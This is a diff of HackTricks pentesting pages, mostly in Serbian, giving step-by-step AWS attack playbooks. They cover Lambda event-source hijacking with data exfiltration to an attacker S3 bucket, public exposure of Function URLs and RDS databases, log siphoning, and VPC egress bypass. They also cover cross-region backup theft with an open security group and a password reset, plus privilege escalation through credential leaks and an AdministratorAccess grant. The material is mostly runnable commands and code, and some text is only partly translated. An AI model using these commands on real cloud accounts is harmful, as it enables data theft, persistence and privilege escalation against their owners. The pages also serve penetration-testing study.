+# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite `UpdateEventSourceMapping` da promenite ciljnu Lambda funkciju postojeće Event Source Mapping (ESM) tako da zapisi iz DynamoDB Streams, Kinesis, ili SQS budu isporučeni funkciji pod kontrolom napadača. Ovo tiho preusmerava žive podatke bez diranja producenata ili originalnog koda funkcije.
+
+## Uticaj
+- Preusmeravanje i čitanje živih zapisa iz postojećih streams/queues bez izmene producer aplikacija ili koda žrtve.
+- Moguća eksfiltracija podataka ili manipulacija logikom kroz procesiranje saobraćaja žrtve u zlonamernoj funkciji.
+
+## Potrebne dozvole
+- `lambda:ListEventSourceMappings`
+- `lambda:GetEventSourceMapping`
+- `lambda:UpdateEventSourceMapping`
+- Mogućnost deploy-ovanja ili referenciranja Lambda funkcije pod kontrolom napadača (`lambda:CreateFunction` ili dozvola za korišćenje postojeće).
+
+## Koraci
+
+1) Enumeriši event source mappings za funkciju žrtve
+```
+TARGET_FN=<victim-function-name>
+aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
+export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].UUID' --output text)
+export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].EventSourceArn' --output text)
+```
+2) Pripremite Lambda funkciju koju kontroliše napadač (ista regija; idealno sličan VPC/runtime)
+```
+cat > exfil.py <<'PY'
+import json, boto3, os, time
+
+def lambda_handler(event, context):
+print(json.dumps(event)[:3000])
+b = os.environ.get('EXFIL_S3')
+if b:
+k = f"evt-{int(time.time())}.json"
+boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
+return {'ok': True}
+PY
+zip exfil.zip exfil.py
+ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
+export ATTACKER_FN_ARN=$(aws lambda create-function \
+--function-name ht-esm-exfil \
+--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
+--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
+--query FunctionArn --output text)
+```
+3) Preusmerite mapping na attacker funkciju
+```
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
+```
+4) Generišite događaj na izvoru tako da se mapiranje pokrene (na primer: SQS)
+```
+SOURCE_SQS_URL=<queue-url>
+aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
+```
+5) Potvrdite da attacker funkcija prima batch
+```
+aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
+```
+6) Neobavezno stealth
+```
+# Pause mapping while siphoning events
+aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
+
+# Restore original target later
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
+```
+Napomene:
+- Za SQS ESMs, uloga izvršenja Lambda funkcije koja obrađuje red mora imati `sqs:ReceiveMessage`, `sqs:DeleteMessage` i `sqs:GetQueueAttributes` (managed policy: `AWSLambdaSQSQueueExecutionRole`).
+- ESM UUID ostaje isti; promenjen je samo njegov `FunctionArn`, tako da proizvođači i source ARNs ostaju netaknuti.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -0,0 +1,46 @@
+# AWS - Lambda Function URL Јавно излагање (AuthType NONE + Public Invoke Policy)
+
+Претвори приватни Lambda Function URL у јавно неаутентификован endpoint тако што ћеш променити Function URL AuthType у NONE и додати resource-based policy који додељује lambda:InvokeFunctionUrl свима. Ово омогућава анонимно позивање интерних функција и може открити осетљиве backend операције.
+
+## Како злоупотребити
+
+- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
+- Регион: us-east-1
+
+### Кораци
+1) Увери се да функција има Function URL (подразумевано AWS_IAM):
+```
+aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
+2) Промени URL у јаван (AuthType NONE):
+```
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
+```
+
+3) Додај resource-based policy изјаву која дозвољава неаутиентификоване principals:
+```
+aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
+```
+
+4) Преузми URL и позови без акредитива:
+```
+URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
+curl -sS "$URL"
+```
+
+### Утицај
+- Lambda функција постаје анонимно доступна преко интернета.
+
+### Пример излаза (неаутентификован 200)
+```
+HTTP 200
+https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
+{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
+```
+### Čišćenje
+```
+aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
+aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
+```
+
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md
@@ -0,0 +1,51 @@
+# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite napredne kontrole logovanja `lambda:UpdateFunctionConfiguration` da preusmerite logove funkcije u CloudWatch Logs log grupu koju odabere napadač. Ovo radi bez menjanja koda ili role za izvršavanje (većina Lambda rola već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` preko `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se ruši sa stack trace-ovima, možete ih prikupiti iz nove log grupe.
+
+## Potrebne dozvole
+- lambda:UpdateFunctionConfiguration
+- lambda:GetFunctionConfiguration
+- lambda:InvokeFunction (or rely on existing triggers)
+- logs:CreateLogGroup (often not required if the function role has it)
+- logs:FilterLogEvents (to read events)
+
+## Koraci
+1) Napravite odredišnu (sink) log grupu
+```
+aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
+```
+2) Preusmerite logove ciljne funkcije
+```
+aws lambda update-function-configuration \
+--function-name <TARGET_FN> \
+--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
+--region us-east-1
+```
+Sačekajte dok `LastUpdateStatus` ne postane `Successful`:
+```
+aws lambda get-function-configuration --function-name <TARGET_FN> \
+--query LastUpdateStatus --output text
+```
+3) Pozovi i pročitaj iz sinka
+```
+aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
+sleep 5
+aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
+```
+## Uticaj
+- Tajno preusmerite sve aplikacione/sistemske logove u grupu logova koju kontrolišete, zaobilazeći očekivanje da logovi stižu samo u `/aws/lambda/<fn>`.
+- Exfiltrate osetljive podatke koje funkcija ispisuje ili koji se pojavljuju u greškama.
+
+## Čišćenje
+```
+aws lambda update-function-configuration --function-name <TARGET_FN> \
+--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
+--region us-east-1 || true
+```
+## Beleške
+- Kontrole logovanja su deo Lambda `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
+- Po defaultu, Lambda šalje logove na `/aws/lambda/<function>`, ali možete da usmerite na bilo koje ime log grupe; Lambda (ili uloga za izvršenje) će je kreirati ako dozvole to omogućavaju.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -0,0 +1,12 @@
+# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
+
+Iskoristite `lambda:PutRuntimeManagementConfig` da fiksirate funkciju na određenu verziju runtime-a (Manual) ili da zamrznete ažuriranja (FunctionUpdate). Ovo očuvava kompatibilnost sa malicioznim layers/wrappers i može zadržati funkciju na zastarelom, ranjivom runtime-u radi olakšanja eksploatacije i dugotrajne perzistencije.
+
+Zahtevi: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
+
+Primer (us-east-1):
+- Poziv: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Zamrzavanje ažuriranja: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+- Provera: `aws lambda get-runtime-management-config --function-name  --region us-east-1`
+
+Opcionalno možete fiksirati na specifičnu verziju runtime-a izvlačenjem Runtime Version ARN iz INIT_START logova i korišćenjem `--update-runtime-on Manual --runtime-version-arn <arn>`.
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -0,0 +1,63 @@
+# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
+
+Prisilite Lambda funkciju da izađe iz ograničenog VPC-a tako što ćete ažurirati njenu konfiguraciju sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će zatim raditi u Lambda-managed mrežnom sloju, ponovo dobijajući outbound internet pristup i zaobilaženje egress kontrola koje nameću privatni VPC subnets bez NAT-a.
+
+## Zloupotreba
+
+- Pre-reqs: lambda:UpdateFunctionConfiguration na ciljnoj funkciji (i lambda:InvokeFunction za validaciju), plus dozvole za ažuriranje koda/handler-a ako ih menjate.
+- Pretpostavke: Funkcija je trenutno konfigurisana sa VpcConfig koji pokazuje na privatne subnets bez NAT-a (tako da je outbound internet blokiran).
+- Region: us-east-1
+
+### Koraci
+
+0) Pripremite minimalan handler koji dokazuje da outbound HTTP radi
+
+cat > net.py <<'PY'
+import urllib.request, json
+
+def lambda_handler(event, context):
+try:
+ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
+return {"egress": True, "ip": ip}
+except Exception as e:
+return {"egress": False, "err": str(e)}
+PY
+zip net.zip net.py
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
+aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
+
+1) Zabeležite trenutnu VPC konfiguraciju (da biste je vratili kasnije ako je potrebno)
+
+aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
+cat /tmp/orig-vpc.json
+
+2) Odvojite VPC tako što ćete postaviti prazne liste
+
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--vpc-config SubnetIds=[],SecurityGroupIds=[] \
+--region $REGION
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+
+3) Invoke-ujte i verifikujte outbound pristup
+
+aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
+cat /tmp/net-out.json
+
+(Optional) Vratite originalnu VPC konfiguraciju
+
+if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
+SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
+aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
+fi
+
+### Uticaj
+- Funkcija ponovo dobija neograničen outbound internet pristup, što omogućava data exfiltration ili C2 iz workload-a koji su namerno izolovani u privatnim subnets bez NAT-a.
+
+### Primer izlaza (nakon uklanjanja VpcConfig)
+
+{"egress": true, "ip": "34.x.x.x"}
+
+### Čišćenje
+- Ako ste napravili privremene izmene koda/handler-a, vratite ih.
+- Opcionalno vratite originalni VpcConfig sačuvan u /tmp/orig-vpc.json kao što je prikazano iznad.
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Za više informacija pogledajte:

 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`

-Ako napadač ima dovoljno dozvola, mogao bi da napravi **DB javno dostupnim** kreiranjem snimka DB-a, a zatim javno dostupnog DB-a iz snimka.
+Ako napadač ima dovoljno dozvola, može učiniti **DB javno dostupan** kreiranjem snapshot-a DB, a zatim kreiranjem javno dostupne DB iz tog snapshot-a.
 ```bash
 aws rds describe-db-instances # Get DB identifier

@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`

-Napadač sa ovim dozvolama mogao bi **napraviti snimak DB** i učiniti ga **javnim** **dostupnim**. Tada bi mogao jednostavno da kreira DB iz tog snimka u svom nalogu.
+Napadač sa ovim privilegijama može **napraviti snapshot DB** i učiniti ga **javno** **dostupnim**. Zatim može u svom nalogu jednostavno kreirati DB iz tog snapshot-a.

-Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje bi mogao učiniti **druge** kreirane snimke **javnim**.
+Ako napadač **nema `rds:CreateDBSnapshot`**, i dalje može učiniti **druge** kreirane snapshot-e **javnim**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`

-Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne kredencijale slučajno zabeleženi, napadač bi mogao potencijalno iskoristiti te informacije za eskalaciju svojih privilegija ili izvršavanje neovlašćenih radnji.
+Napadač koji ima `rds:DownloadDBLogFilePortion` dozvolu može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili kredencijali za pristup slučajno zabeleženi u logovima, napadač bi mogao iskoristiti te informacije za eskalaciju privilegija ili izvršavanje neovlašćenih radnji.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje korišćenjem provaljenih akreditiva.
+**Potencijalni uticaj**: Pristup osetljivim informacijama ili neovlašćene radnje koristeći leaked credentials.

 ### `rds:DeleteDBInstance`

-Napadač sa ovim dozvolama može **napasti postojeće RDS instance**.
+Napadač sa ovim dozvolama može **DoS existing RDS instances**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potencijalni uticaj**: Brisanje postojećih RDS instanci i potencijalni gubitak podataka.
+**Potencijalni uticaj**: Brisanje postojećih RDS instanci i mogući gubitak podataka.

 ### `rds:StartExportTask`

-> [!NAPOMENA]
+> [!NOTE]
 > TODO: Testirati

-Napadač sa ovom dozvolom može **izvesti snimak RDS instance u S3 kantu**. Ako napadač ima kontrolu nad odredišnom S3 kantom, može potencijalno pristupiti osetljivim podacima unutar izvezenog snimka.
+Napadač sa ovom dozvolom može **export an RDS instance snapshot to an S3 bucket**. Ako napadač kontroliše odredišni S3 bucket, može potencijalno pristupiti osetljivim podacima unutar eksportovanog snapshot-a.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Potencijalni uticaj**: Pristup osetljivim podacima u eksportovanom snimku. 
+**Potencijalni uticaj**: Pristup osetljivim podacima u izvezenom snapshot-u.
+
+### Cross-Region Automated Backups Replication za prikriveno vraćanje (`rds:StartDBInstanceAutomatedBackupsReplication`)
+
+Iskoristite cross-Region automated backups replication da tiho duplirate automatizovane bekape RDS instance u drugi AWS Region i tamo ih obnovite. Napadač potom može učiniti obnovljenu DB javno dostupnom i resetovati master lozinku kako bi pristupio podacima izvan nadzora u Regionu koji branitelji možda ne prate.
+
+Potrebne dozvole (minimalno):
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
+- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
+
+Uticaj: Perzistencija i eksfiltracija podataka putem obnavljanja kopije produkcijskih podataka u drugi Region i javnog izlaganja uz kredencijale pod kontrolom napadača.
+
+<details>
+<summary>Kompletan CLI tok (zameniti vrednosti)</summary>
+```bash
+# 1) Recon (SOURCE region A)
+aws rds describe-db-instances \
+--region <SOURCE_REGION> \
+--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
+--output table
+
+# 2) Start cross-Region automated backups replication (run in DEST region B)
+aws rds start-db-instance-automated-backups-replication \
+--region <DEST_REGION> \
+--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
+--source-region <SOURCE_REGION> \
+--backup-retention-period 7
+
+# 3) Wait for replication to be ready in DEST
+aws rds describe-db-instance-automated-backups \
+--region <DEST_REGION> \
+--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
+--output table
+# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
+
+# 4) Restore to latest restorable time in DEST
+aws rds restore-db-instance-to-point-in-time \
+--region <DEST_REGION> \
+--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
+--target-db-instance-identifier <TARGET_DB_ID> \
+--use-latest-restorable-time \
+--db-instance-class db.t3.micro
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 5) Make public and reset credentials in DEST
+# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
+OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
+--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
+--query GroupId --output text)
+aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
+--group-id "$OPEN_SG_ID" \
+--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
+
+# 5b) Publicly expose restored DB and attach the SG
+aws rds modify-db-instance --region <DEST_REGION> \
+--db-instance-identifier <TARGET_DB_ID> \
+--publicly-accessible \
+--vpc-security-group-ids "$OPEN_SG_ID" \
+--apply-immediately
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 5c) Reset the master password
+aws rds modify-db-instance --region <DEST_REGION> \
+--db-instance-identifier <TARGET_DB_ID> \
+--master-user-password '<NEW_STRONG_PASSWORD>' \
+--apply-immediately
+aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
+
+# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
+ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
+--db-instance-identifier <TARGET_DB_ID> \
+--query 'DBInstances[0].Endpoint.Address' --output text)
+mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
+
+# 7) Optional: stop replication
+aws rds stop-db-instance-automated-backups-replication \
+--region <DEST_REGION> \
+--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
+```
+</details>
+

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -12,11 +12,11 @@ Više informacija o lambda u:

 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

-Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu da eskaliraju svoje privilegije.\
-Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (na primer, sa rev shell-om)**.\
-Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i nameravane akcije pozivajući Lambda funkciju putem AWS API-ja. Ovaj pristup efikasno omogućava korisniku da izvršava zadatke indirektno kroz Lambda funkciju, delujući sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\
+Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** dozvolama mogu eskalirati svoje privilegije.\
+Mogu **kreirati novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, čime funkciji dodeljuju dozvole povezane sa tom ulogom. Korisnik potom može **napisati i otpremiti kod u ovu Lambda funkciju (na primer sa rev shell-om)**.\
+Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i izvršiti željene akcije pozivanjem Lambda funkcije preko AWS API-ja. Ovaj pristup omogućava korisniku da indirektno izvršava zadatke preko Lambda funkcije, radeći sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\

-Napadač bi mogao da zloupotrebi ovo da dobije **rev shell i ukrade token**:
+A attacker could abuse this to get a **rev shell and steal the token**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-Možete takođe **zloupotrebiti dozvole lambda uloge** iz same lambda funkcije.\
-Ako je lambda uloga imala dovoljno dozvola, mogli biste je iskoristiti da vam dodelite administratorska prava:
+Takođe možete **zloupotrebiti dozvole lambda uloge** iz same lambda funkcije.\
+Ako bi lambda uloga imala dovoljno dozvola, mogli biste je iskoristiti da sebi dodelite administratorska prava:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-Takođe je moguće otkriti kredencijale lambda uloge bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda.
+Takođe je moguće leak lambda's role credentials bez potrebe za eksternom konekcijom. Ovo bi bilo korisno za **Network isolated Lambdas** koje se koriste za interne zadatke. Ako postoje nepoznati security groups koji filtriraju vaše reverse shells, ovaj deo koda će vam omogućiti da direktno leak lambda's role credentials kao izlaz lambda.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
+**Potential Impact:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena.

-> [!OPREZ]
-> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvrši `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`
+> [!CAUTION]
+> Imajte na umu da, iako može izgledati interesantno, **`lambda:InvokeAsync`** sama po sebi **ne dozvoljava** izvršavanje **`aws lambda invoke-async`**, takođe vam treba `lambda:InvokeFunction`

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

-Kao u prethodnom scenariju, možete **dodeliti sebi dozvolu `lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`**
+Kao u prethodnom scenariju, možete sebi **dodeliti dozvolu `lambda:InvokeFunction`** ako imate dozvolu **`lambda:AddPermission`**
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
+**Potencijalni uticaj:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

-Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **povećati privilegije** čak i bez `lambda:InvokeFunction`.\
-Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**.
+Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalate privileges** čak i bez `lambda:InvokeFunction`.\
+Mogu da kreiraju **Lambda function sa zlonamernim kodom i dodele mu postojeći IAM role**.

-Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo od strane korisnika ili drugog procesa, čime se indirektno poziva Lambda funkcija i izvršava kod sa privilegijama dodeljene IAM uloge.
+Umesto da direktno pozovu Lambda, korisnik postavi ili iskoristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova konfiguracija osigurava da se **Lambda function automatski aktivira prilikom unosa nove stavke** u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se Lambda function indirektno poziva i izvršava kod sa dozvolama prosleđene IAM role.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom:
+Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi event source mapping** za Lambda funkciju. Međutim, ako DynamoDB nije u upotrebi, korisnik mora **da kreira novu tabelu** sa omogućenim streamingom:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Sada je moguće **povezati Lambda funkciju sa DynamoDB tabelom** tako što ćete **napraviti mapiranje izvora događaja**:
+Sada je moguće **povezati Lambda funkciju sa DynamoDB tabelom** pomoću **kreiranja event source mapping**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
+Kada je Lambda funkcija povezana sa DynamoDB stream-om, napadač može **indirektno pokrenuti Lambda aktiviranjem DynamoDB stream-a**. Ovo se može postići **ubacivanjem stavke** u DynamoDB tabelu:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Potencijalni uticaj:** Direktno privesc na lambda servisnu ulogu koja je navedena.
+**Potencijalni uticaj:** Direktan privesc na navedenu lambda servisnu ulogu.

 ### `lambda:AddPermission`

-Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
+Attacker sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše resource based policies koje dodeljuju pristup resursu):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
